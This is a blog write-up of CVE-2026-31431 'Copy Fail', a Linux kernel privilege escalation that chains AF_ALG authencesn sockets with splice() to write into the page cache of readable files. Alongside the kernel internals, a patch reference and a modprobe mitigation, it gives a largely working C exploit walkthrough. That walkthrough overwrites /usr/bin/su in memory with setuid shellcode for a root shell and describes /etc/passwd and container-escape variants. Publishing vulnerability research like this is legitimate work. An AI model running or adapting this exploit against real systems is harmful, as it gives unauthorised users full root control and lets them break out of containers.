1424 words
7 minutes
CVE-2026-31431: Copy Fail — Local Privilege Escalation via AF_ALG + splice()

Original Discovery: Taeyang Lee, Theori & Xint Code Research Team
Reference: retr0.zip — CVE-2026-31431: Copy Fail
CVE: CVE-2026-31431
Exploit Code: test.c (recreated PoC)


Vulnerability Overview#

CVE-2026-31431, codenamed “Copy Fail”, is a local privilege escalation vulnerability affecting every major Linux distribution shipped since 2017 (kernel commit 72548b093ee3).

The vulnerability is a logic flaw in the kernel’s authencesn cryptographic template, chained through AF_ALG sockets and splice(). It gives an unprivileged user a deterministic 4-byte write into the page cache of any readable file.

By corrupting /usr/bin/su (or /etc/passwd) in memory, an attacker can gain a root shell — no race condition, no offsets, no compilation required.

Impact#

VectorDetail
CVSS Score7.8 (High)
Attack VectorLocal (no network)
Privileges NeededNone (unprivileged user)
Affected KernelsAll Linux since ~4.13 (2017)
Exploit ComplexityLow — deterministic
ImpactFull root compromise, container escape

Technical Deep Dive#

1. The Page Cache#

Every time we read() a file, the kernel doesn’t go to disk — it goes to the page cache, a system-wide in-memory cache of file data organized by (inode, offset) pairs.

+----------+ +----------+ +----------+
|Process A | |Process B | |Process C |
| read() | | execve() | | mmap() |
+-----+----+ +-----+----+ +-----+----+
| | |
+---------------+---------------+--+
|
v
+-----------------------------------+
| Page Cache (RAM) |
| |
| /usr/bin/su |
| +--------+--------+--------+ |
| |page 0 |page 1 |page 2 | |
| | ELF | .text | .data | |
| +--------+--------+--------+ |
+----------------+------------------+
| miss -> populate
v
+-------------------+
| Disk |
| /usr/bin/su |
+-------------------+

Key properties:

  • Shared system-wide — two processes in different containers share the same physical pages for the same file
  • Corruption is invisible — writing via this exploit never marks the page “dirty”; the file on disk is untouched, but every reader gets the corrupted in-memory version

2. Scatterlists#

The kernel often describes buffers spanning non-contiguous physical pages using a scatterlist:

SG Array 1 SG Array 2
+-----------------------+ +----------------------+
| sg[0]: page_A off=0 | | sg[0]: page_C off=128|
| len=4096 | | len=64 [END] |
+-----------------------+ +----------------------+
| sg[1]: page_B off=0 | ^
| len=512 | |
+-----------------------+ |
| sg[2]: CHAIN --------+------------------+
+-----------------------+
  • Bit 0 (SG_CHAIN): pointer to next scatterlist array
  • Bit 1 (SG_END): last entry in the chain

The critical function is scatterwalk_map_and_copy() — it walks the chain entry-by-entry, maps the target page, and copies data.

3. splice() — Zero-Copy I/O#

splice() passes page references instead of copying through userspace:

+--------------+ splice() +------------+ splice() +--------------+
| File |+-----------+| Pipe |+-----------+| AF_ALG |
| (on disk) | | (in mem) | | Socket |
+------+-------+ +------------+ +------+-------+
| |
+-------------- same physical pages --------------------+
(page cache pages ref'd in TX SGL)

No copy at any step. The kernel’s crypto subsystem holds direct pointers to page cache pages.

4. AF_ALG and AEAD#

AF_ALG exposes kernel crypto to unprivileged userspace:

int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))"
};
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

No privileges required. Module auto-loads.

5. authencesn — The ESN Template#

For IPsec ESP with Extended Sequence Numbers (RFC 4303). Only seqno_lo goes on the wire; the HMAC must cover the full 64-bit ESN:

Full 64-bit ESN: [ seqno_hi (32 bits) | seqno_lo (32 bits) ]
upper lower (on wire)

In crypto_authenc_esn_decrypt(), three calls rearrange bytes:

Step 1: Read tmp[0..1] = dst[0..7] -- grab seqno_hi & seqno_lo
Step 2: Write dst[4..7] = tmp[0] -- move seqno_hi to bytes 4-7 (safe)
Step 3: Write dst[assoclen+cryptlen] = tmp[1] -- stash seqno_lo PAST ciphertext

6. The 2017 In-Place Optimization#

Commit 72548b093ee3 (2017) optimized decryption: point both src and dst to the same scatterlist:

req->src ----+
v
req->dst --> RX Buffer (user mem) ---chain---> TX SGL (page cache pages)
+--------+---------+ +------------------+
| AAD | CT | | Tag pages |
|(copied)|(copied) | | (PAGE CACHE!) |
+--------+---------+ +------------------+
<-- safe to write --> <-- MUST NOT write -->

The boundary between “safe” and “page cache” is just an offset in the same scatterlist chain.

7. Why Only authencesn Triggers This#

For normal AEAD algorithms during decryption, nobody writes to the tag region of dst:

SubsystemWrites to tag region?
HMAC engineWrites to separate buffer
Cipher (AES-CBC)Writes plaintext to RX buffer only
Tag verificationReads only (never writes to dst)
authencesn ESN shuffleWrites 4 bytes at dst[assoclen+cryptlen]

authencesn is the only algorithm that writes to this region during decryption.


The 4-Byte Write Primitive#

dst scatterlist (in-place):
<---- RX buffer (user memory) -----><---- chained TX SGL (PAGE CACHE) ---->
+------------------+------------------------+----------------------------+
| AAD (8 bytes) | ciphertext (N bytes) | tag pages from splice() |
+--------+---------+-----------+------------+-------------+--------------+
| | |
v v v
Step 2 writes here cipher decrypt Step 3 writes here
dst[4..7] = seqno_hi writes here dst[assoclen+cryptlen]
(safe, user mem) (safe, user mem) = seqno_lo PAGE CACHE!

What the attacker controls:

  • Value: bytes 4-7 of the AAD (attacker-chosen via sendmsg())
  • Target file: any readable file (opened O_RDONLY, splice()-d)
  • Offset: via splice() file offset and crypto params
  • The write happens before HMAC verification — HMAC fails, recv() errors, but 4 bytes are already written

Exploit Code Walkthrough#

Full code: test.c

Step 1: Open AF_ALG socket#

int sock_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))"
};
bind(sock_fd, (struct sockaddr *)&sa, sizeof(sa));

Step 2: Configure crypto params#

// Key: rtattr header + crypto_authenc_key_param
// 0x0800 0100 = rta_len=8, rta_type=CRYPTO_AUTHENC_KEYA_PARAM(1)
// 0x00000010 = enckeylen=16 (AES-128, big-endian)
static const unsigned char key[8 + 32] = {
0x08, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x10,
};
setsockopt(sock_fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
int req_fd = accept(sock_fd, NULL, NULL);

Key value is irrelevant — HMAC will fail, but corruption happens before verification.

Step 3: The write4() Primitive#

void writebytes(int req_fd, int our_fd, int idx) {
// 3a: Build AAD -- bytes 4-7 become seqno_lo (the written value)
uint8_t aad[8] = {0x41, 0x41, 0x41, 0x41,
shell[idx], shell[idx+1],
shell[idx+2], shell[idx+3]};
// 3b: Build cmsg headers (ALG_SET_OP, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN)
struct msghdr msg = {
.msg_iov = &(struct iovec){ .iov_base = aad, .iov_len = 8 },
.msg_iovlen = 1,
.msg_control = cbuf.buf,
.msg_controllen = sizeof(cbuf.buf),
};
// 3c: sendmsg() with MSG_MORE -- sends AAD, signals more data via splice
sendmsg(req_fd, &msg, MSG_MORE);
// 3d: splice() target file page cache into the socket (by reference!)
int pipefd[2];
pipe(pipefd);
off_t file_off = 0;
splice(our_fd, &file_off, pipefd[1], NULL, idx + 4, 0);
splice(pipefd[0], NULL, req_fd, NULL, idx + 4, 0);
// 3e: recv() triggers decrypt -- 4 bytes written, HMAC fails, we don't care
char buf[4096];
recv(req_fd, buf, sizeof(buf), 0); // error expected
close(pipefd[0]);
close(pipefd[1]);
}

Step 4: Overwrite target binary, 4 bytes at a time#

int our_fd = open("/usr/bin/su", O_RDONLY);
// 192-byte ELF shellcode: setgid(0) -> setuid(0) -> setgroups -> execve("/bin/sh")
for (int i = 0; i < 192; i += 4) {
writebytes(req_fd, our_fd, i);
}
// Page cache now contains shellcode
execl("/usr/bin/su", NULL); // loads from corrupted page cache -> root shell

Shellcode Disassembly#

; setgid(0) + setuid(0) + setgroups(0, NULL)
xor edi, edi ; rdi = 0
xor esi, esi ; rsi = 0
xor eax, eax ;
mov al, 0x6a ; __NR_setgid = 106
syscall
mov al, 0x69 ; __NR_setuid = 105
syscall
mov al, 0x74 ; __NR_setgroups = 116
syscall
; execve("/bin/sh", ["/bin/sh", NULL], NULL)
push 0
lea rax, [rip + 0x12]
push rax
mov rdx, rsp
lea rdi, [rip + 0x12]
xor esi, esi
push 0x3b ; __NR_execve = 59
pop rax
syscall
; Strings: "TERM=xterm\0" "/bin/sh\0"

Why This Is NOT an OOB Write#

The write is within bounds of the dst scatterlist. scatterwalk_map_and_copy() finds a valid entry with a valid struct page* and valid length, maps the page, writes to it.

  • No buffer overflow
  • No use-after-free
  • No KASAN splat
  • Everything is “correct” from the MM perspective

It’s an OWNERSHIP bug, not a SIZE bug. The page belongs to the page cache, not to the crypto operation.


Container Escape#

The page cache is per-filesystem, not per-namespace. Corrupt /usr/bin/su from inside a container, and the host’s su is corrupted too.


The chmod 4711 Non-Fix#

Removing read permission from setuid binaries (chmod 4711) doesn’t work. The primitive targets any readable file.

Alternative: /etc/passwd — world-readable. Change user:x:1000: to user:x:0000: in the page cache. Then su - user authenticates against /etc/shadow (untouched) but getpwnam() reads corrupted cache → UID 0.


Mitigation & Patch#

The Patch — Commit a664bf3d603d reverts the in-place optimization, keeping src and dst as separate scatterlists.

Quick Mitigation:

Terminal window
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

Does not affect dm-crypt, kTLS, IPsec, OpenSSL, SSH.


Summary#

CVE-2026-31431: Copy Fail
splice() AF_ALG/AEAD In-Place Opt (2017)
(zero-copy I/O) (unpriv crypto API) (commit 72548b093ee3)
| | |
+--------------------+-----------------------+--+
|
v
authencesn ESN byte rearrangement
writes 4 bytes to dst[assoclen+cryptlen]
|
v
Page Cache of /usr/bin/su (or /etc/passwd)
|
v
ROOT SHELL
Why KASAN never caught it (8 years):
-> Not an OOB write, just wrong ownership

References#

ResourceLink
Official Copy Fail Pagehttps://copy.fail/
Xint Code Research Teamhttps://xint.dev/blog/copy-fail
retr0.zip Bloghttps://retr0.zip/blog/cve-2026-31431-copy-fail.html
Recreated PoC (test.c)https://github.com/Rahulrajln1111/Writeups/blob/main/CVE-2026-31431-Copy-Fail/test.c
Bug IntroductionCommit 72548b093ee3
The FixCommit a664bf3d603d
CVE Entryhttps://nvd.nist.gov/vuln/detail/CVE-2026-31431

This writeup documents a recreated exploit for CVE-2026-31431.
All credit for the original discovery goes to Taeyang Lee, Theori, and the Xint Code Research Team.

CVE-2026-31431: Copy Fail — Local Privilege Escalation via AF_ALG + splice()
https://razz.systems/posts/binary-exploitation/cve-2026-31431-copy-fail/
Author
Rahul Razz
Published at
2026-06-08
License
CC BY-NC-SA 4.0